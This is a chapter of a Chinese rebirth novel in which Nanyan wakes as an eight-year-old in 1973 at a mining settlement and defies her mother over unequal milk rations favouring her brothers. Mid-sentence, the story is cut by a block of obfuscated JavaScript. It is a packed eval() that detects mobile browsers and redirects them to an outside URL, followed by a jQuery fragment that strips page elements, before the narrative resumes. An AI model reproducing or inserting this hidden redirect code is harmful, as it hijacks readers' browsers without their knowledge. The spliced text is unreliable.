南雁是被一股极其熟悉却又遥远得像是上辈子的气味熏醒的。
意识像是被一根粗糙的麻绳从深不见底的寒潭里拖拽回来，挣扎着浮出水面。
不是预想中阴曹地府的森冷，也不是西方极乐世界的梵音，而是属于人间烟火的浑浊气息，粗暴地灌满了她的鼻腔和肺叶。
她费力地睁开眼，视线混沌了片刻，才艰难地对上焦。
没有冰冷的蚕丝被，没有窗外喧嚣到刺耳的爆竹声，也没有喉咙里那团窒息的老棉花。
她愣愣地转动着眼珠。
视线所及，是糊着旧报纸的顶棚，报纸已经泛黄，边角卷曲，隐约还能看见“工业学大庆”的标题字样。
一根电线从房梁上垂下来，末端吊着一个光秃秃的橘黄色灯泡，灰扑扑的。
身下是硬邦邦的木板床，铺着蓝白格子的粗布床单，洗得发白，但干净平整。
身上盖的是一床沉甸甸的棉被，大红牡丹花的被面，虽然有些地方棉花已经板结，却实实在在地焐出了一身热汗。
这不是她那间虽然冷清但还算整洁的单元楼，也绝不是二零四九年的除夕夜。
窗外传来嘈杂的人声，自行车铃铛清脆的“叮铃”声，小孩追逐打闹的尖叫笑嚷，还有一个女人嘹亮得能穿透墙壁的大嗓门：“张家婶子，你家牛奶领了没？快去！今儿的奶稠得很，刮嗓子眼！”
牛奶？
南雁的心脏像是被一只无形的手猛地攥紧，然后又狠狠松开，血液轰然冲向四肢百骸，带来一阵近乎眩晕的狂跳。
她几乎是手脚并用地从厚重的棉被里挣脱出来，赤脚跳下了床。
冰凉粗糙的水泥地刺激着脚心，那感觉真实得可怕。
她扑到窗前。
窗户是老旧木质的，刷着早已过时的绿色油漆，很多地方已经斑驳脱落，露出底下深浅不一的木纹。
窗玻璃上贴着防寒的旧报纸裁成的纸条，边缘翘起，像个不修边幅的邋遢汉子。
透过擦拭得不算太干净的玻璃看出去，外面是几排整齐的红砖平房，房前拉着晾衣绳，挂满了劳动布的工作服、颜色暗淡的棉毛衫裤。
几个穿着臃肿棉袄、戴着雷锋式棉帽子的半大孩子，正拿着自制的木头手枪，在光秃秃的空地上“砰砰砰”地玩着打仗的游戏，小脸冻得通红，热气从嘴里呵出来，变成白雾。
远处，能看见高耸的矿山井架和蜿蜒的铁轨，一辆运矿的小火车正慢吞吞地鸣着汽笛，“哐当哐当”地驶过，声音沉闷而有力，是这个重工业矿区的独特脉搏。
这一切，熟悉得让她鼻尖发酸，眼眶发热。
这是……老家的761矿。
是她八岁到出嫁前一直生活的地方。
南雁转过身，视线缓慢地扫过这个狭小却充满了生活痕迹的房间。
墙角放着那个印着大红“奖”字和“先进生产者”字样的搪瓷脸盆，盆边磕掉了一块瓷，露出黑底。
桌上立着那个印着鲜红毛主席语录的铁皮热水瓶，“为人民服务”几个字格外醒目。
最后，她的目光落在挂在门后那面边缘已经破损，照人有些变形的小镜子上。
她一步一步地挪过去，心跳如擂鼓。
镜子里映出一张稚嫩的脸庞。
瘦削，皮肤是常在外面疯跑晒出的微黑色，头发乌黑油亮，被胡乱地扎成两个歪歪扭扭、毛毛躁躁的小辫子，碎发支棱着。
一双眼睛因为瘦而显得格外大，眼珠黑沉沉的，此刻正睁得圆圆的，里面盛满了惊愕、茫然，以及一丝不敢宣之于口、生怕一碰就碎的狂喜。
这是她。
八岁时的南雁。
她真的……回来了？
回到了1973年？
回到了一切悲剧都还没有发芽，她的人生尚且握在自己手中，还有无限可能的时候？
门外传来“吱呀”一声门响，一个系着洗得发白的藏蓝色围裙、头发在脑后挽了个紧实圆髻的中年妇女，端着个铝制饭盒走了进来。
妇女脸上带着忙碌带来的微红，看见她站在镜子前发呆，便习惯性地扯着嗓子道：“雁子，醒了？傻站着干啥？快把衣服穿好，刚出了一身汗别再闪着！赶紧的，把这牛奶喝了，你爸刚去食堂打回来的，还热乎着哩！”
这是……她早已过世多年，连梦里都不愿多见的母亲——包兰芝。
脸上还没有被后来的愁苦和算计刻满深深的皱纹，腰背也挺直，带着这个时代劳动妇女特有的利索和强势。
南雁的目光落在那个铝饭盒上。
饭盒里装着大半盒乳白色的液体，表面结着一层薄薄的“奶皮”，浓郁的奶香味正丝丝缕缕地飘出来。
761矿待遇好，是附近有名的“牛奶矿”，职工家属每天都能定量供应鲜牛奶，给孩子们补充营养。
这是她小时候最期待的“福利”之一，也是后来几十年里再也尝不到，关于“家”的温暖味道之一。
可是现在，看着那盒牛奶，再看着母亲那理所当然，仿佛天经地义的表情，南雁的心头却像是被什么东西猛地刺了一下。
上辈子，就是这样。
家里所有的好东西，牛奶、鸡蛋、偶尔凭票买来的一点肉、难得一见的糖果……总是先紧着大哥、三妹和小弟。
她喝到的，常常是兑了水的，或者就是大哥他们喝剩下的底子，清汤寡水，带着一种施舍般的余味。
父母从不觉得这有什么不对，“男孩儿费脑子”、“男孩儿长身体”、“姐姐要让着弟弟”是铁打不动，颠扑不破的理由。
而她，因为是女孩，是“早晚要嫁出去的外姓人”，是“赔钱货”，所以一切的牺牲、退让和委屈求全，都是应该的，是本分。
甚至后来，这种根深蒂固的剥夺和牺牲，蔓延到了她人生的每一个角落。
工作、婚姻、财产、尊严……无一幸免。
“发什么愣呢！快喝啊！”包兰芝见她半天不动，眼神直勾勾的，有些不耐烦了，把饭盒往桌上一顿，发出“哐当”一声响，“喝完了把饭盒刷了，一会儿我还得拿去打菜呢。你爸和你哥他们的我都留出来了，在灶台温着呢。”
看，甚至连喝牛奶的顺序，都是最后才轮到她。
父亲、大哥、小弟，然后才是她。
那股熟悉的、憋闷的，像是被湿棉花堵住呼吸的感觉似乎又要卷土重来。
南雁死死地盯着那盒牛奶，小小的胸膛剧烈地起伏着，一股灼热的气流在胸腔里横冲直撞。
如果有下辈子……
去他妈的一家人！
那个在她生命最后时刻，于无边孤寂和悔恨中发出的狠厉决绝的念头，如同烧红的烙铁，带着前世积攒的所有不甘与愤怒，狠狠地烫在了她刚刚重生，剧烈跳动的心脏上。
南雁抬起头，看向包兰芝，声音因为紧张和一种陌生的情绪而微微发颤，却又带着连她自己都惊讶的清晰：“妈，为什么我的奶这么少？大哥和小弟的也是这样的吗？”
正在转身准备去外间忙活别的包兰芝，像是被按了暂停键，顿住了脚步。
她扭过头，皱紧了眉头看着南雁，脸上先是闪过一丝困惑，仿佛没听清，随即那困惑变成了难以置信，像是听到了什么大逆不道的疯话：“你说啥？”
“我说，”南雁吸了一口气，感觉那股支撑着她的力量在缓缓流淌，她甚至往前走了一小步，用手指了指那个铝饭盒，目光毫不避让，“为什么我的牛奶看起来比大哥、小弟的少？而且没有奶皮。他们的也有这么多吗？也是这样的吗？”
包兰芝的脸色瞬间沉了下来，语气也变得又冲又急：“你这死丫头！一大早起来睡迷糊了？胡咧咧什么！有的喝就不错了！挑三拣四！你哥你弟是男娃，正在长身体，读书费脑子，多喝点怎么了？天经地义！你一个丫头片子，喝那么多奶有什么用？将来还不是别人家的人！能给你喝就不错了！”
又是这一套！
一模一样的话！
连那不耐烦的语气，那理所当然的神态，都跟她记忆深处，上辈子无数次发生过的情景严丝合缝地重叠在一起！
南雁感觉一股冰冷的怒意，像是点着的汽油，轰一下从脚底板直冲天灵盖，烧得她指尖都在发颤。
她不再是那个八十四岁奄奄一息，只能对着空气诅咒命运的老妪，也不再是那个习惯了逆来顺受、打落牙齿和血吞、最终憋屈了一生的糊涂蛋了！
她是南雁。
死过一次又活过来的南雁。
“丫头片子就不用长身体了吗？丫头片子喝奶就浪费了吗？”南雁听见自己的声音拔高了一些，虽然还带着孩童的稚嫩，却有种异常的尖锐，“矿上规定每家每户按人头供应，每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458124|185383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人都有份！白纸黑字写着！我的那份，凭什么就要被兑水，就要少给我？凭什么！”
包兰芝彻底愣住了，她大概从未想过，这个一向沉默寡言、甚至有些懦弱畏缩的大女儿，会突然像换了个人似的，说出这样一番“离经叛道”、“戳心戳肺”的话来。
她张了张嘴，嘴唇哆嗦了几下，一时竟被这突如其来的顶撞噎得找不到词来反驳，只是气得脸色发红，胸脯起伏，习惯性地就扬起了手，厉声道：“你……你反了天了！谁教你的这些混账话？啊？是不是隔壁老刘家那个疯丫头？好的不学尽学坏！看我不好好收拾你！”
说着，她习惯性地就想伸手来拧南雁的耳朵。
若是以前，小小的南雁早就吓得缩起脖子，眼泪汪汪地认错求饶了。
但是今天，南雁没有躲。
她只是睁着那双过于大的眼睛，直勾勾地看着母亲扬起来的手，眼神里没有了往日的怯懦，反而有种冰冷的不符合年龄的平静和嘲弄。
“妈，你打吧。”南雁轻轻地说，声音不大，却像根针一样刺人，“打完了，我就去矿上工会问问，问问领导，咱们761矿供应家属的牛奶，是不是女孩就只能喝兑水的，是不是女孩就不配喝完整的一份。再拿着这饭盒去问问，是不是矿上的工人家庭，还兴打骂女儿，不让她说句公道话。”
包兰芝的手僵在了半空中，脸上的怒气变成了惊疑不定，像是第一次真正打量自己这个女儿。
工会？领导？
这死丫头怎么会想到这些？这些话哪里像一个八岁孩子能说出来的？她什么时候有了这样的心思？
虽然现在外面天天喊“妇女能顶半边天”、“生男生女都一样”，但家家户户关起门来，重男轻女的事儿谁家没有？
大家心照不宣罢了，牛奶紧着男孩喝，鸡蛋紧着男孩吃，寻常得很。
可真要闹到工会去……这死丫头要是真豁出去了……脸上无光是小，万一被扣上个“封建思想残余”、“虐待子女”的帽子，影响了她爸或者她哥的前程……
包兰芝的手慢慢地放了下来，脸色变了几变，最终强压着怒火，语气生硬地说道：“胡……胡说八道什么！谁……谁给你兑水了！就是今天打回来的奶……奶有点稀！水撇多了！赶紧喝了上学去！一天天的，尽找事儿！屁话那么多！”
说完，她像是怕南雁再盯着饭盒看，或者再说出什么更吓人的话来，一把抓起桌上的抹布，眼神闪烁地避开了南雁的视线，转身急匆匆地走出了屋子，还把门摔得砰一声巨响，仿佛这样才能掩盖住她内心的虚张声势。
屋子里安静下来。
只剩下南雁一个人，和那盒依旧散发着香味的牛奶。
南雁站在原地，一动不动，心里冷嗤一声，寒意更重。
几十年了，她这个母亲的脾性，她早就在前世用无数次吃亏受罪摸得透透的了。
欺软怕硬，色厉内荏，窝里横，所有的精明和算计都用在如何压榨自己人，如何讨好能给她带来点好处的人身上。
过了好一会儿，南雁才缓缓地走到桌边，端起那个铝饭盒。
牛奶还是温的。
她低下头，看着乳白色的液面上晃动着自己稚嫩却写满决绝的倒影，然后仰起头，“咕咚咕咚”，将整盒牛奶喝得一滴不剩。
浓郁而纯粹的奶香瞬间充盈了整个口腔，顺着喉咙滑下，温暖熨帖着胃袋，也仿佛给她冰冷的四肢注入了第一丝力量。
是的，力量。
她不再是那个需要看任何人脸色，需要牺牲自我去换取虚无缥缈的“亲情”认可的南雁了。
去他妈的一家人！
从这一刻起，她南雁，要为自己活。
她放下空饭盒，用手背抹了抹嘴角，目光落在门后挂着的那面破镜子上。
镜子里的小女孩，嘴唇上沾着一圈奶渍，眼睛却亮得惊人，像两簇不肯熄灭的野火。
未来的路还很长，761矿只是起点。
那些曾经理直气壮吸着她的血、踩着她的人生往上爬的“亲人”们，那些曾经欺辱她、轻视她、将她视为垫脚石的人，都还在。
但是，不一样了。
一切都不一样了。
南雁微微勾起了嘴角，露出一丝冰冷又炽热的笑意。
等着吧。
所有的债，咱们慢慢算。